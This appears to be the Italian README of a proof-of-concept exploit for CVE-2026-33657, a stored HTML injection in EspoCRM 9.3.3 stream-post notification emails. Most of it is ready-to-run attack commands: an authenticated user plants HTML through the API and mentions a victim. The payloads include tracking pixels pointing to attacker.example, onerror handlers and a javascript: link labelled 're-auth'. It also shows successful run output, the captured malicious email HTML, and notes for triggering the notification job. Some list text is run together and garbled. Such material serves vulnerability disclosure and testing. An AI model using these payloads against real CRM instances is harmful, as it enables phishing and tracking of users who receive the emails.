
EspoCRM 9.3.3 - Iniezione HTML Memorizzata nelle Notifiche Email
Proof-of-concept autenticato per l'iniezione HTML memorizzata nelle notifiche email di EspoCRM 9.3.3.
EspoCRM 9.3.3 genera le email di notifica dei post dello stream trasformando il corpo della nota con Markdown e inserendo l'HTML risultante nei template email con triple parentesi graffe ({{{post}}}). Un utente autenticato che può creare un post nello stream e attivare una notifica può memorizzare HTML controllato dall'attaccante che viene successivamente renderizzato nel corpo dell'email generata.
L'exploit esegue la parte remota controllata dall'attaccante del flusso:
/api/v1/App/user.Note dannosa contenente HTML.--mention o --target-user-id per accodare un destinatario della notifica.La consegna dell'email avviene quando il normale job SendEmailNotifications di EspoCRM o il cron elabora la notifica accodata.
requestsNote nello stream--mention <username> per le notifiche email di menzione, oppure--target-user-id <id> per le notifiche mirate dei post dello streamInstallare la dipendenza:
python3 -m pip install requests
Percorso preferito basato sulla menzione:
python3 CVE-2026-33657.py \
-u http://127.0.0.1:8083 \
-U testuser \
-P 'Admin12345!' \
--mention admin
Utilizzare un URL di tracking personalizzato:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--tracking-url https://attacker.example/pixel.gif
Utilizzare un payload HTML completamente personalizzato:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
Targetizzare un ID utente specifico invece di una menzione:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--target-user-id 0123456789abcdef0 \
--target-user-name 'Victim User'
Solo fingerprinting, senza creare una nota:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--detect-only
-u, --url URL base di EspoCRM
-U, --username Nome utente EspoCRM
-P, --password Password EspoCRM
--mention Nome utente da menzionare, senza @
--target-user-id ID utente per le notifiche mirate dei post dello stream
--target-user-name Nome visualizzato per --target-user-id
--payload Payload HTML grezzo da memorizzare nella Note
--tracking-url URL del pixel di tracking utilizzato dal payload predefinito
--link-url URL del link utilizzato dal payload predefinito
--marker Testo del marcatore anteposto al payload
--detect-only Solo fingerprinting della versione; non creare una Note
--skip-version-check Salta /api/v1/App/user prima dell'exploit
--force Continua anche se il fingerprint della versione non è 9.3.3
--insecure Disabilita la verifica del certificato TLS
Un'esecuzione riuscita crea una nota dannosa e conferma il destinatario della notifica:
[*] /api/v1/App/user: HTTP 200
[*] Versione rilevata: 9.3.3
[+] Il fingerprint della versione è vulnerabile: EspoCRM 9.3.3.
[*] Creazione della Note dannosa come testuser
[*] Risposta Note: HTTP 200 ...
[+] Payload dell'exploit memorizzato nel post della Note.
[+] ID Note: 69fddeef8db756271
[+] Menzione analizzata: @admin -> ID utente 69fdcfb66c34ccb81
[+] Elenco destinatari della notifica restituito dall'API: 69fdcfb66c34ccb81
[+] Trigger remoto completo inviato.
Su un'istanza vulnerabile, il corpo dell'email HTML generata preserva l'HTML iniettato. Una cattura di laboratorio appare così:
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>
In un laboratorio EspoCRM locale, dopo aver eseguito l'exploit, attivare il job di notifica:
sudo -u www-data php command.php run-job SendEmailNotifications
Il corpo dell'email risultante dovrebbe contenere l'HTML iniettato nella parte text/html.
@@version, il target è probabilmente una build dell'albero sorgente. Lo script continua perché il codice sottostante potrebbe essere ancora il tag vulnerabile 9.3.3.--mention non produce una menzione analizzata, verificare i messagePermission e mentionPermission dell'attaccante e confermare che il nome utente target esista e possa ricevere notifiche.